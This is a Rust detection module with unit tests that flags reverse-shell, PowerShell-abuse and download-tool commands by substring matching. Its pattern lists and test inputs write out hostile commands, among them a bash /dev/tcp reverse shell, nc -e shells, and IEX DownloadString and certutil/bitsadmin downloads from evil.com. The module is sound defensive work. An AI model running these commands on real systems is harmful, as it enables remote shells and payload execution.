pub const REVERSE_SHELL_PATTERNS: &[&str] = &[
"bash -i",
"sh -i",
"pty.spawn",
"nc -e",
"nc -c",
"ncat -e",
"/bin/sh -i",
"python -c",
"perl -e",
"ruby -e",
"lua -e",
"php -r",
"socat exec",
"openssl s_client",
];
pub const POWERSHELL_ABUSE_PATTERNS: &[&str] = &[
"IEX",
"Invoke-Expression",
"DownloadString",
"WebClient",
"Net.WebRequest",
"-EncodedCommand",
"-enc ",
"-ep bypass",
"-ExecutionPolicy Bypass",
"FromBase64String",
"Invoke-Mimikatz",
"Invoke-Shellcode",
];
pub const DOWNLOAD_TOOL_PATTERNS: &[&str] = &[
"certutil -urlcache",
"certutil -decode",
"bitsadmin /transfer",
"wget ",
"curl ",
"Invoke-WebRequest",
"Start-BitsTransfer",
"mshta http",
"regsvr32 /s /n /u /i:http",
];
pub fn is_reverse_shell_pattern(cmd: &str) -> bool {
let lower = cmd.to_ascii_lowercase();
REVERSE_SHELL_PATTERNS
.iter()
.any(|p| lower.contains(&p.to_ascii_lowercase()))
}
pub fn is_powershell_abuse(cmd: &str) -> bool {
let lower = cmd.to_ascii_lowercase();
POWERSHELL_ABUSE_PATTERNS
.iter()
.any(|p| lower.contains(&p.to_ascii_lowercase()))
}
pub fn is_download_tool_usage(cmd: &str) -> bool {
let lower = cmd.to_ascii_lowercase();
DOWNLOAD_TOOL_PATTERNS
.iter()
.any(|p| lower.contains(&p.to_ascii_lowercase()))
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn reverse_shell_patterns_contains_bash_i() {
assert!(REVERSE_SHELL_PATTERNS.contains(&"bash -i"));
}
#[test]
fn reverse_shell_patterns_contains_nc_e() {
assert!(REVERSE_SHELL_PATTERNS.contains(&"nc -e"));
}
#[test]
fn powershell_abuse_contains_iex() {
assert!(POWERSHELL_ABUSE_PATTERNS.contains(&"IEX"));
}
#[test]
fn powershell_abuse_contains_encoded_command() {
assert!(POWERSHELL_ABUSE_PATTERNS.contains(&"-EncodedCommand"));
}
#[test]
fn download_tool_contains_certutil_urlcache() {
assert!(DOWNLOAD_TOOL_PATTERNS.contains(&"certutil -urlcache"));
}
#[test]
fn download_tool_contains_wget() {
assert!(DOWNLOAD_TOOL_PATTERNS.contains(&"wget "));
}
#[test]
fn detects_bash_i_reverse_shell() {
assert!(is_reverse_shell_pattern(
"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
));
}
#[test]
fn detects_nc_e_reverse_shell() {
assert!(is_reverse_shell_pattern("nc -e /bin/sh 10.0.0.1 4444"));
}
#[test]
fn detects_python_c_pty_spawn() {
assert!(is_reverse_shell_pattern(
"python -c 'import pty; pty.spawn(\"/bin/sh\")'"
));
}
#[test]
fn detects_case_insensitive_nc_e() {
assert!(is_reverse_shell_pattern("NC -E /bin/sh attacker 4444"));
}
#[test]
fn does_not_flag_benign_command() {
assert!(!is_reverse_shell_pattern("ls -la /tmp"));
}
#[test]
fn empty_string_not_reverse_shell() {
assert!(!is_reverse_shell_pattern(""));
}
#[test]
fn detects_iex_downloadstring() {
assert!(is_powershell_abuse(
"IEX (New-Object Net.WebClient).DownloadString('http://evil.com/ps.ps1')"
));
}
#[test]
fn detects_encoded_command_flag() {
assert!(is_powershell_abuse("powershell.exe -EncodedCommand AAAA"));
}
#[test]
fn detects_ep_bypass() {
assert!(is_powershell_abuse(
"powershell -ep bypass -File stager.ps1"
));
}
#[test]
fn does_not_flag_benign_powershell() {
assert!(!is_powershell_abuse("Get-Process"));
}
#[test]
fn empty_string_not_powershell_abuse() {
assert!(!is_powershell_abuse(""));
}
#[test]
fn detects_certutil_urlcache() {
assert!(is_download_tool_usage(
"certutil -urlcache -f http://evil.com/payload.exe payload.exe"
));
}
#[test]
fn detects_bitsadmin_transfer() {
assert!(is_download_tool_usage(
"bitsadmin /transfer job http://evil.com/x.exe C:\\x.exe"
));
}
#[test]
fn detects_wget_uppercase() {
assert!(is_download_tool_usage("WGET http://evil.com/malware"));
}
#[test]
fn does_not_flag_dir_command() {
assert!(!is_download_tool_usage("dir C:\\Windows\\System32"));
}
#[test]
fn empty_string_not_download_tool() {
assert!(!is_download_tool_usage(""));
}
}